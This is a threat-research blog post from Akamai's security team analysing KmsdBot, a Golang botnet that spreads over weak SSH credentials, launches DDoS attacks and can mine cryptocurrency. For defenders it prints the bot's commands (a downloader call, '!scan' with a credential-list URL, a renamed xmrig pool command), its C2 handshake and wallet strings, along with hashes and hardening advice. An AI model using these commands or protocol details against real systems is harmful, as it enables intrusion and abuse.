KmsdBot: The Attack and Mine Malware
Executive Summary
Akamai Security Intelligence Group has observed a new malware that infected our honeypot, which we have dubbed KmsdBot.
The botnet infects systems via an SSH connection that uses weak login credentials.
It is written in Golang, an increasingly common language for attackers because of the difficulty of reverse engineering.
The malware attacks using UDP, TCP, HTTP POST, and GET, along with a command and control infrastructure (C2), which communicates over TCP.
The malware does not stay persistent on the infected system as a way of evading detection.
The malware has varied targets including the gaming industry, technology industry, and luxury car manufacturers.
The botnet also has the ability to mine cryptocurrencies.
The malware supports multiple architectures, such as Winx86, Arm64, and mips64, x86_64.
Another day, another malware
The Akamai Security Intelligence Response Team (SIRT) is responsible for tracking, detecting, documenting, and publishing new discoveries to protect the security and stability of Akamai, Akamai’s customers, and the internet as a whole. As part of this mission, we have myriad honeypots spread over the internet. Members of the SIRT observe and analyze these honeypots, which leads to all sorts of cool findings, as well as allows us to keep a pulse on what is happening in the wild.
This week, we began experimenting with a new honeypot configuration to see what else we could find, especially as we come into the holiday season. Since we have traditionally seen more malicious activity around this time of year, the new honeypot was left more open and accessible throughout the early stages of testing and modification. What better way to test it, right?
Sure enough, we found an interesting log entry: A cryptominer with distributed denial-of-service (DDoS) functionality tailored to the gaming industry. It’s not often we see these types of botnets actively attacking and spreading, especially ones written in Golang. The targets range from gaming companies to luxury car brands to security companies — this malware is almost erratic with regard to its targets.
In this post, we will outline the story of KmsdBot as it came across our mechanisms so that you can investigate it and enhance security in your own organization.
Always check the logs
Since the honeypot was pretty open, we expected it to have a bunch of hits. After all, a good honeypot is enticing to attackers. There were some commands for downloading malware, so we began an investigation. Upon review, there were quite a few entries like the one seen in Figure 1.
Fig. 1: Log entry of malware infection download and execution command
We used File Transfer Protocol (FTP) to log in to the system and get access to all the available files for download. This can tell us quite a bit about the motivations of the malware itself and potentially the threat actor(s) behind it.
Fig. 2: Various supported CPU architectures
Figure 2 shows the directory structure of the FTP download server. We can see the system architecture directories — some contain compiled binaries, while others are empty. But the empty directories show the locations the malware authors may be targeting next. The download.php script contains infection code that will download and execute the malware on the web server it’s executing on:
Fig. 3: The download.php script contains infection code that will download and execute the malware on the web server it’s executing on
Upon further analysis, there appeared to be quite a few cross-compiled binaries for various architectures (Figure 3). Although some of the directories are empty, some architectures (like x86_64 and 386) have malware samples to download. This is important to remember as we look at targets later in the post.
Fig. 4: Binaries of similar size appear to be revisions of the same malware code base
The files are all compiled Go language binaries.
client: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=ob_PyXeD8H4173aDP-NM/Z7DzwyNXZ8c1Wr7LyTOK/t8bg8nky3tdpKdKSAvyp/_nWexL6rk1sZt5hRLfgs, with debug_info, not stripped
ksmdm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=lmjZVXbGVxjEutEAYziK/ak2EoKWzPPmCz2ipOltK/uKypKwO7m2jjT2AT0qnG/PiKIqd334XYNEl_likc3, with debug_info, not stripped
ksmds: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=CV7cqV3r6hVM05Ma2jpB/kc_FWOhPv8HtKZQUhiUi/jrGTR9lhjVWxp-9kHdDA/ev1S8rMmqqwjpvWz4sLX, with debug_info, not stripped
ksmdx: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=S65yXt0R7hEC1YEm5Ci7/qGG-jP6bpvA1TCgQwZoV/WpM491XNek0FReOrQmX_/EMNmhh6mJI8ycZhLPtP4, with debug_info, not stripped
kxmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=57pm413aVTQ8gOrUjHox/DwlgdSzYxLxitlBpe0OR/hdbtJaHv8ujFruku5AIJ/RrSUbVKsJ9wj-rBopzh3, with debug_info, not stripped
kzmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=2FTLNIjq7bgMnSOW0NhD/YBc64Ubft703RycI5yQL/85YkVXL_eseyGJG3XHm1/M_laLRa5tNb5oeZ24ROq, with debug_info, not stripped
Analysis
A diff of the redress source output for the client binary and ksmdm binary reveals they’re likely the same thing with slight code differences. Redress is an open-source Go language reverse engineering utility that rebuilds structures in Go binaries to assist in reverse engineering. This is a critical tool as we are seeing more and more attackers utilizing Golang for their malicious endeavors, likely because it presents a heightened challenge to reverse engineering.
Same malware, different… everything?
The Go package name “/root/client” is the same for most binaries, which implies that they could be the same malware, but perhaps different revisions with newer functionality. Malware gets updated often, but this one goes in multiple directions, which is unique. We believe there is a client binary that talks to the C2, does updates, and starts and stops the mining process. The other binary seems to perform mining operations and attack operations.
$ diff client.source ksmdm.source
19,23c19,23
< start Lines: 12 to 28 (16)
< startfunc1 Lines: 19 to 30 (11)
< startfunc2 Lines: 22 to 22 (0)
< udpclimb Lines: 30 to 60 (30)
< tcpclimb Lines: 60 to 88 (28)
---
> start Lines: 10 to 26 (16)
> startfunc1 Lines: 17 to 28 (11)
> startfunc2 Lines: 20 to 20 (0)
> udpclimb Lines: 28 to 58 (30)
> tcpclimb Lines: 58 to 86 (28)
The first observed target of this malware was a gaming company called FiveM, a client that allows people to host custom private servers for Grand Theft Auto Online. Figure 4 shows a UDP socket being opened and a packet being built with a FiveM session token. This will cause the server to believe a user is starting a new session and waste additional resources besides network bandwidth. The malware not only includes specific targeted attacks but also includes generic Layer 4 and Layer 7 attacks.
Fig. 5: Disassembly of sym.main.udpfivemtoken function showing the creation of a UDP packet with FiveM token data
Scanning and spreading
An examination of the ksmdx sample reveals functions to perform scanning operations and software updates and to control the mining process.
Package main: /root/client
File: client.go
(*Client)Recv Lines: 23 to 34 (11)
(*Client)Handle Lines: 34 to 52 (18)
(*Client).Handlefunc1 Lines: 35 to 35 (0)
File: command.go
NewCommand Lines: 15 to 32 (17)
(*Command)Handle Lines: 32 to 62 (30)
File: commandfunctions.go
ShellExec Lines: 11 to 23 (12)
scan Lines: 23 to 50 (27)
stopscan Lines: 50 to 69 (19)
updateminer Lines: 69 to 108 (39)
stopmine Lines: 108 to 127 (19)
updateclient Lines: 127 to 159 (32)
File: main.go
main Lines: 8 to 16 (8)
File: methods.go
start Lines: 12 to 28 (16)
startfunc1 Lines: 19 to 30 (11)
startfunc2 Lines: 22 to 22 (0)
udpclimb Lines: 30 to 60 (30)
tcpclimb Lines: 60 to 88 (28)
File: utils.go
randomwallet Lines: 73 to 79 (6)
envname Lines: 79 to 129 (50)
The ksmdx binary is a downloader that notifies the C2 that the system has been infected by sending it an HTTP POST request with the notification of ‘Bruh Started:’.
$./ksmdx 192.168.0.14 /ksmdm 192.168.0.14 kumd kxmds
We see the GET request in the HTTP server logs:
192.168.0.44 - - [20/Oct/2022:13:09:34 -0400] "GET /ksmdm HTTP/1.1" 200 2904330 "-" "Go-http-client/1.1"
Starting a listener on port 45833 we see the execution confirmation POST message:
The bot can be sent the !scan command to download a list of login credentials (Figure 5) to use when it scans for open SSH ports:
!scan xxx.xxx.xxx.xxx xxx.xxx.xxx.xxx/win/kzmds xxx.xxx.xxx.xxx kvmd kmsd
Fig. 6: The file kzmds is a list of username and password combinations
C2 communication
[pid 18212] connect(3, {sa_family=AF_INET, sin_port=htons(51382), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 1047] connect(4, {sa_family=AF_INET, sin_port=htons(51388), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
When I checked my logs again, I saw that the malware was attacking my honeypot from a new IP address. It was uploading new binaries that had a new C2 IP address built into it.
Watching the network traffic we see the connection is initialized with a null byte of 0x00 by the infected system, and a response of 0x01 is sent from the C2. The infected system then responds with a 2 in hexadecimal 0x02.
[pid 2514865] write(4, "0x02", 4) = 4
And 0x01 is the response
xxx.xxx.xxx.xxx.51388 > xxx.xxx.xxx.xxx.52280: Flags [P.], cksum 0xf2b4 (correct), seq 20:24, ack 21, win 510, options [nop,nop,TS val 1019359456 ecr 4067014838], length 4
0x0000: 4500 0038 adf3 4000 3a06 9b4a ab16 1e1f E..8..@.:..J....
0x0010: c63a 6812 c8bc cc38 81f9 f90a abeb 552a .:h....8......U*
0x0020: 8018 01fe f2b4 0000 0101 080a 3cc2 30e0 ............<.0.
0x0030: f269 b8b6 3078 3031 .i..0x01
We can test this quickly with the netcat utility.
$ echo "0x00" | nc xxx.xxx.xxx.xxx 51388
0x01
[pid 2516369] write(4, "0x00", 4) = 4
It looks like 0x02 is the heartbeat
xxx.xxx.xxx.xxx.52280 > xxx.xxx.xxx.xxx.51388: Flags [P.], cksum 0xf7ac (incorrect -> 0xd616), seq 57:61, ack 57, win 502, options [nop,nop,TS val 4066922833 ecr 1019262337], length 4
0x0000: 4500 0038 3010 4000 4006 132e c63a 6812 E..80.@.@....:h.
0x0010: ab16 1e1f cc38 c8bc abeb 54de 81f9 f8c2 .....8....T.....
0x0020: 8018 01f6 f7ac 0000 0101 080a f268 5151 .............hQQ
0x0030: 3cc0 b581 3078 3032 <...0x02
Talking to the C2
The green highlighted text below is the response from the C2 and the blue highlighted text is where I emulated the malware by sending the 0x02 response.
% telnet xxx.xxx.xxx.xxx 57388
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
0x00
0x010x02
0x010x02
0x010x02
0x010x02
0x010x02
0x01
Cryptomining
Possible crypto wallet user accounts from the sym.main.randomwallet() function are shown below. I suspect these are chosen randomly to contribute to various mining pools. During my time observing the botnet, I didn’t witness any cryptomining activity. The botnet was only engaged in DDoS activity. The bot does have the functionality to launch cryptomining activity, however — I found a command ./ksmdr -o pool.hashvault.pro where ksmdr is actually xmrig binary that has been renamed.
│ │╎ 0x0065b6b0 488d05356c08. lea rax, [0x006e22ec] ; "42WDUXX5UYtNf9DyboNRx6TgNrJD43QfgTvEjh8djtdKVoNppnN96Nz8sVp2wWJTQgW9e8XjFLkv6KpSEgwWbLXLMKn5wwg42vGrE1WDpKgue8Y9ewpi6gXupMqDqYi"
│ │╎ 0x0065b6b7 4889442428 mov qword [var_28h], rax
│ │╎ 0x0065b6bc 48c74424305f. mov qword [var_30h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6c5 488d053d6d08. lea rax, [0x006e2409] ; "46DBehyheMSatgdGffv8SVAEK8ts6Ur4wToVNL99Yqo6ZGnv7q4QpaxG7YnaasngPvN1rbyxYyCZAABgyXyme92wRMaVn1V3617de4a96262c6f5d9e98bf9292dc29"
│ │╎ 0x0065b6cc 4889442438 mov qword [var_38h], rax
│ │╎ 0x0065b6d1 48c74424405f. mov qword [var_40h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6da 488d05c96c08. lea rax, [0x006e23aa] ; "45yK4gR5QCNag2X4g6ss6PUiL4s1e929b8mev4Rz3CbiTPU9NSXYHiyPL9FMi6cDVvD7EKho4atUf82s3vkVfFXNSsMqyUE46DBehyheMSatgdGffv8SVAEK8ts6Ur4"
│ │╎ 0x0065b6e1 4889442448 mov qword [var_48h], rax
│ │╎ 0x0065b6e6 48c74424505f. mov qword [var_50h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6ef 488d05556c08. lea rax, [0x006e234b] ; "42vGrE1WDpKgue8Y9ewpi6gXupMqDqYiKV4EwM7CFZFuNdRKP3dG6rADE7DRAcoEWGY6LmgCRKAiX16wGAu3Tj4mMQ9HR5B45yK4gR5QCNag2X4g6ss6PUiL4s1e929"
Examining the source structures shows that some binaries are different updated versions of the same code base, so it seems this botnet is under active development.
$ diff reports/kxmd/kxmd-src.txt reports/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51-src.txt
8c8
< (*Command)Handle Lines: 32 to 136 (104)
---
> (*Command)Handle Lines: 32 to 144 (112)
11,18c11,20
< scan Lines: 23 to 50 (27)
< stopscan Lines: 50 to 69 (19)
< updateminer Lines: 69 to 108 (39)
< stopmine Lines: 108 to 127 (19)
< updateclient Lines: 127 to 161 (34)
< loadclient Lines: 161 to 180 (19)
< startminer Lines: 180 to 193 (13)
< reloadminer Lines: 193 to 208 (15)
---
> scan Lines: 23 to 52 (29)
> startscan Lines: 52 to 75 (23)
> stopscan Lines: 75 to 97 (22)
> updateminer Lines: 97 to 144 (47)
> stopmine Lines: 144 to 166 (22)
> updateclient Lines: 166 to 202 (36)
> loadclient Lines: 202 to 221 (19)
> removefile Lines: 221 to 235 (14)
> startminer Lines: 235 to 248 (13)
> reloadminer Lines: 248 to 264 (16)
54,60c56,62
< getrandpath Lines: 12 to 62 (50)
< get Lines: 62 to 109 (47)
< fivem Lines: 109 to 156 (47)
< fivemguid Lines: 156 to 204 (48)
< post1 Lines: 204 to 255 (51)
< post Lines: 255 to 344 (89)
< bigdata Lines: 344 to 386 (42)
---
> getrandpath Lines: 11 to 61 (50)
> get Lines: 61 to 108 (47)
> fivem Lines: 108 to 158 (50)
> fivemguid Lines: 158 to 206 (48)
> post1 Lines: 206 to 257 (51)
> post Lines: 257 to 346 (89)
> bigdata Lines: 346 to 388 (42)
Attack traffic analysis
The attacks I observed have been either Layer 4 TCP/UDP packets with random data as a payload or Layer 7 HTTP consisting of GET and POST requests to either the root path or a specified path set in the attack command (Figure 6).
Fig. 7: Attack POST requests
The screenshots below show mangled request headers with random referrers with a missing header. We have sanitized some of these images for privacy purposes.
In Figure 8, we can see a command !post coming from the C2 ordering an attack against a target.
Fig. 8: Attack command from the C2
The C2 is defined in the function sym.main.connect() and is shown in Figures 8, 9, and 10.
Fig. 9: Disassembly of C2 communication function
Fig. 10: Disassembly of 0x02 response code
Fig. 11: TCP Big data attack packet
IOCs
SHA256
701b874a56a9a0ed4101a88621441afec936c4210e18d9a3e20f9a95c454ce40 client
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11 ksmdm
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e ksmds
714eeba5b6e4610946cd07c1ddadddc94052bfe450a8a9b1c23495721082884d ksmdx
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95 kxmds
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54 kxmd
75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51 kzmd
09761d69bd5b00b2e767a1105dd3e80ce17b795cd817676c737a1e83c5b96f1b kumd.exe
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11 ksmdm
3928c5874249cc71b2d88e5c0c00989ac394238747bb7638897fc210531b4aab ksmdr(xmrig)
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e ksmds
01b4d10e08d10c36d0c50f00d017fd6b3da8ebdd194ecafd12b0335c07f9ae10 ksmdx
74075b2bdfaf52d9e5984a28ec7765ae489077a69dd696718e724a455a6f7910 kumd
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54 kxmd
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95 kxmds
7fe04a3307666e6b6dac381664c901daea3ed5e8af3d7700ac5bde9550350d5a kmsd.amd64
2e091ecc4c912e6fbe4258da470459018dc8f3efde2803281a416a2c8eb8cf1a kmsd.arm
7c8a06b85280a43f96215203fb229d0f2a91b23d84e6ab2d25d9382fef19c35b kmsd.arm64
da609100cb66e6e4e79916ca1e7481269406e6a484f46187b3accb1626552d61 kmsd.mips
8136613eb3427f908a200f52b7938cc184a31b626b6c85a35e664c064de6d533 kmsd.mips64
50f2fb45c11e40ea4bbf4a8a733b6e65ce25c3f182aa0aa33ffb59ebae712003 kmsd.mipsle
e5a06b250ba10fe0156efe7399b321cb8b1fc8b1929e49ee62d837fa1440313f kmsd.ppc64
2971a37849388c7c3af0840eabc52f0b604fb9894429b7397100b12a069cfeff kmsd.ppc64le
247b0d5e40b8b1ec316e9700b499a2dc20d73bfd7f36d913e7725334a2818a7e kmsd.riscv64
7517e597a6ba4a8659b2dd4252085a99baca000684435f8b451af1418bfcac84 kmsd.s390x
Conclusion
This botnet is a great example of the complexity of security and how much it evolves. What seems to have started as a bot for a game app has pivoted into attacking large luxury brands. What’s new is how it infects — via an SSH connection that uses weak login credentials. The good news is that the same techniques we recommend to keep most organizations’ systems and networks secure still apply here.
Don’t use weak or default credentials for servers or deployed applications.
Ensure you’re keeping those deployed applications up-to-date with the latest security patches, and check in on them from time to time.
Use public key authentication for your SSH connections. This is the best way to prevent this type of system compromise.
The Akamai SIRT will continue to monitor this activity and publish updates as they become available.
For more real-time research and updates, be sure to follow us on Twitter.